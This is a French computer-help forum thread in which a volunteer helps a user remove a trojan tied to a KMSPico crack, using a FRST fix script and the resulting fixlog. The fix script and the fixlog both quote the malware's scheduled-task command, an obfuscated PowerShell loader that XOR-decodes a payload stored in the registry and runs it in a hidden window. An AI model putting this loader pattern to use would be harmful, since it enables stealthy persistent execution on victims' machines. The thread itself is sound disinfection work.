wmail-chat.com Trojan et Virus PowerShell [résolu]

Aide à la désinfection pour supprimer les virus, adwares, ransomwares, trojans.

Modérateurs : Mods Windows, Helper

Arbre
Messages : 9
Inscription : 19 juil. 2022 19:11

wmail-chat.com Trojan et Virus PowerShell [résolu]

par Arbre »

Bonjour à tous,

Et merci pour votre aide; depuis hier sans raison apparente de mon Malwarebytes Anti-Malware (MBAM) m'affiche des message inquiétants :
Virus-wmail-chat-com-193-239-84-207.png
Ceci à chaque démarrage après 30 minutes, le PowerShell se lance et j'ai ce ce message toutes les minutes voire plus.

Un scan complet Malwarebytes n'a rien donné et j'ai remarqué que Windows Defender était désactivé si je ne laissais pas Malwarebytes activé.

En plus de Malware Bytes beaucoup de choses sont désactivés et marquées "comme gérées par mon organisation." Ce qui n'était pas le cas avant

En vous remerciant de votre aide et du temps passé à essayer de m'aider !
Vous ne pouvez pas consulter les pièces jointes insérées à ce message.
Malekal_morte
Messages : 116262
Inscription : 10 sept. 2005 13:57

Re: wmail-chat.com Trojan

par Malekal_morte »

Bonsoir,

Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

Attendre la fin du scan, un message indique que l'analyse est terminée.
Télécharge et lance le scan FRST,

Trois rapports FRST seront générés :
* FRST.txt
* Shortcut
* Additionnal.txt

Envoie ces 3 rapports sur le site https://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

(Les liens bleus mènent à des tutoriels explicatifs pas à pas, clic dessus pour avoir les instructions plus précises à suivre).
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
Arbre
Messages : 9
Inscription : 19 juil. 2022 19:11

Re: wmail-chat.com Trojan et Virus PowerShell

par Arbre »

Malekal_morte
Messages : 116262
Inscription : 10 sept. 2005 13:57

Re: wmail-chat.com Trojan et Virus PowerShell

par Malekal_morte »

Ton Windows est cracké par KMSPico.

A désinstaller, pas utile :
CCleaner
Wondershare Helper Compact
Voici la correction à effectuer avec FRST. Tu peux t'aider de cette Voici la correction à effectuer avec FRST. Tu peux t'aider de cette #fix note explicative avec des captures d'écran.
Relance FRST puis sur ton clavier appuyer sur la touche CTRL + Y.
Le bloc-note va s'ouvrir, copie/colle ceci.

Code : Tout sélectionner

Start:
CloseProcesses:
CreateRestorePoint:
Task: {F22147E5-E6B9-430F-A57A-7ADF9B902719} - System32\Tasks\Microsoft\Windows\Management\Provisioning\BvlrHQDr\DEB1B789-5157-43E0-8CD2-134373EE640C => cmd.exe /c echo Iex "icM ([scRIPtblOCk]::cReaTE([strINg]::joIn('', ((GEt-iteMPropERty -PAth 'hkLM:\sofTwarE\REcoVERITBvlRHqdR').'BvLRhqDRRr' | % { [cHAr](`$_ -bxor 27) }))))" | poWeRshELL -wINdoWSTyle HiddEn <==== ATTENTION
2022-07-18 17:28 - 2022-07-18 17:28 - 000000000 ____H C:\Users\Hicoyan\MJKJRegInfo_XMNAKD5QQMB2WCPDYRUWBYZ2EDUX6HDU
2022-07-18 17:27 - 2022-07-18 18:09 - 000000000 ____D C:\Users\Hicoyan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AVCLabs
2022-07-18 17:27 - 2022-07-18 18:09 - 000000000 ____D C:\Program Files (x86)\AVCLabs
2022-07-18 17:18 - 2022-07-18 17:18 - 000000000 ____D C:\Users\Hicoyan\AppData\Local\HitPaw Software
2022-07-18 17:12 - 2022-07-18 17:20 - 000000000 ____D C:\Program Files (x86)\HitPaw
2022-06-29 02:41 - 2022-06-29 02:41 - 000000000 __HDC C:\ProgramData\{6409433A-6C01-48C8-B359-3E9416347909}
2022-06-29 02:26 - 2022-06-29 02:26 - 000000000 ___DC C:\ProgramData\{43756516-3869-47A6-91E8-450A43AE79E0}
2022-06-29 02:08 - 2022-06-29 02:08 - 000000000 __HDC C:\ProgramData\{239ED1B3-949D-4B67-89FE-5B58AF394F1A}
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:
End:
Ferme le bloc-note, retourne sur FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire et automatique.
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.
(L'ordinateur peut redémarrer tout seul, si le rapport de correction ne s'ouvre pas, cherche un fichier fixlog.txt qui se trouve dans le même dossier que FRST)
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
Arbre
Messages : 9
Inscription : 19 juil. 2022 19:11

Re: wmail-chat.com Trojan et Virus PowerShell

par Arbre »

Bonjour, merci pour la réponse!

Voici le résultat du fixlog :


Résultats de correction de Farbar Recovery Scan Tool (x64) Version: 18-07-2022
Exécuté par Hicoyan (20-07-2022 15:46:07) Run:1
Exécuté depuis C:\Users\Hicoyan\Desktop
Profils chargés: Hicoyan
Mode d'amorçage: Normal
==============================================

fixlist contenu:
*****************
Start:
CloseProcesses:
CreateRestorePoint:
Task: {F22147E5-E6B9-430F-A57A-7ADF9B902719} - System32\Tasks\Microsoft\Windows\Management\Provisioning\BvlrHQDr\DEB1B789-5157-43E0-8CD2-134373EE640C => cmd.exe /c echo Iex "icM ([scRIPtblOCk]::cReaTE([strINg]::joIn('', ((GEt-iteMPropERty -PAth 'hkLM:\sofTwarE\REcoVERITBvlRHqdR').'BvLRhqDRRr' | % { [cHAr](`$_ -bxor 27) }))))" | poWeRshELL -wINdoWSTyle HiddEn <==== ATTENTION
2022-07-18 17:28 - 2022-07-18 17:28 - 000000000 ____H C:\Users\Hicoyan\MJKJRegInfo_XMNAKD5QQMB2WCPDYRUWBYZ2EDUX6HDU
2022-07-18 17:27 - 2022-07-18 18:09 - 000000000 ____D C:\Users\Hicoyan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AVCLabs
2022-07-18 17:27 - 2022-07-18 18:09 - 000000000 ____D C:\Program Files (x86)\AVCLabs
2022-07-18 17:18 - 2022-07-18 17:18 - 000000000 ____D C:\Users\Hicoyan\AppData\Local\HitPaw Software
2022-07-18 17:12 - 2022-07-18 17:20 - 000000000 ____D C:\Program Files (x86)\HitPaw
2022-06-29 02:41 - 2022-06-29 02:41 - 000000000 __HDC C:\ProgramData\{6409433A-6C01-48C8-B359-3E9416347909}
2022-06-29 02:26 - 2022-06-29 02:26 - 000000000 ___DC C:\ProgramData\{43756516-3869-47A6-91E8-450A43AE79E0}
2022-06-29 02:08 - 2022-06-29 02:08 - 000000000 __HDC C:\ProgramData\{239ED1B3-949D-4B67-89FE-5B58AF394F1A}
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:
End:̩
*****************

Processus fermé avec succès.
Le Point de restauration a été créé avec succès.
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{F22147E5-E6B9-430F-A57A-7ADF9B902719}" => supprimé(es) avec succès
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{F22147E5-E6B9-430F-A57A-7ADF9B902719}" => supprimé(es) avec succès
C:\WINDOWS\System32\Tasks\Microsoft\Windows\Management\Provisioning\BvlrHQDr\DEB1B789-5157-43E0-8CD2-134373EE640C => déplacé(es) avec succès
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Management\Provisioning\BvlrHQDr\DEB1B789-5157-43E0-8CD2-134373EE640C" => supprimé(es) avec succès
C:\Users\Hicoyan\MJKJRegInfo_XMNAKD5QQMB2WCPDYRUWBYZ2EDUX6HDU => déplacé(es) avec succès
C:\Users\Hicoyan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AVCLabs => déplacé(es) avec succès
C:\Program Files (x86)\AVCLabs => déplacé(es) avec succès
C:\Users\Hicoyan\AppData\Local\HitPaw Software => déplacé(es) avec succès
C:\Program Files (x86)\HitPaw => déplacé(es) avec succès
C:\ProgramData\{6409433A-6C01-48C8-B359-3E9416347909} => déplacé(es) avec succès
C:\ProgramData\{43756516-3869-47A6-91E8-450A43AE79E0} => déplacé(es) avec succès
C:\ProgramData\{239ED1B3-949D-4B67-89FE-5B58AF394F1A} => déplacé(es) avec succès
C:\Windows\System32\Drivers\etc\hosts => déplacé(es) avec succès
Hosts restauré(es) avec succès.

========= RemoveProxy: =========

"HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => supprimé(es) avec succès
"HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => supprimé(es) avec succès
"HKU\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => supprimé(es) avec succès
"HKU\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => supprimé(es) avec succès
"HKU\S-1-5-21-1186158926-2963889824-3821823143-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => supprimé(es) avec succès
"HKU\S-1-5-21-1186158926-2963889824-3821823143-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => supprimé(es) avec succès


========= Fin de RemoveProxy: =========


=========== EmptyTemp: ==========

BITS transfer queue => 2359296 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 19872941 B
Java, Discord, Steam htmlcache => 975161687 B
Windows/system/drivers => 25161 B
Edge => 56845 B
Chrome => 8261160 B
Brave => 519334021 B
Firefox => 17985252 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 0 B
systemprofile32 => 0 B
LocalService => 16182 B
NetworkService => 16182 B
Hicoyan => 25437694 B

RecycleBin => 222068716 B
EmptyTemp: => 1.7 GB données temporaires supprimées.

================================


Le système a dû redémarrer.

==== Fin de Fixlog 15:47:16 ====
Malekal_morte
Messages : 116262
Inscription : 10 sept. 2005 13:57

Re: wmail-chat.com Trojan et Virus PowerShell

par Malekal_morte »

ok vois si les alertes de Trojan de MBAM s'arrêtent.
Si oui change tous tes mots de passe.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
Arbre
Messages : 9
Inscription : 19 juil. 2022 19:11

Re: wmail-chat.com Trojan et Virus PowerShell

par Arbre »

J'ai bien l'impression que ça s'est arrêté, merci beaucoup pour ton aide!
Malekal_morte
Messages : 116262
Inscription : 10 sept. 2005 13:57

Re: wmail-chat.com Trojan et Virus PowerShell [résolu]

par Malekal_morte »

ok supprime C:\FRST et le reste.

Pour éviter les virus, il faut savoir comment les pirates s'y prennent pour infecter les ordinateurs : Comment les virus informatiques sont distribués
Enfin pour protéger ton PC : Comment protéger son PC des virus et des pirates ?
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
  • Sujets similaires
    Réponses
    Vues
    Dernier message

Revenir à « Supprimer/Desinfecter les virus (Trojan, Adwares, Ransomwares, Backdoor, Spywares) »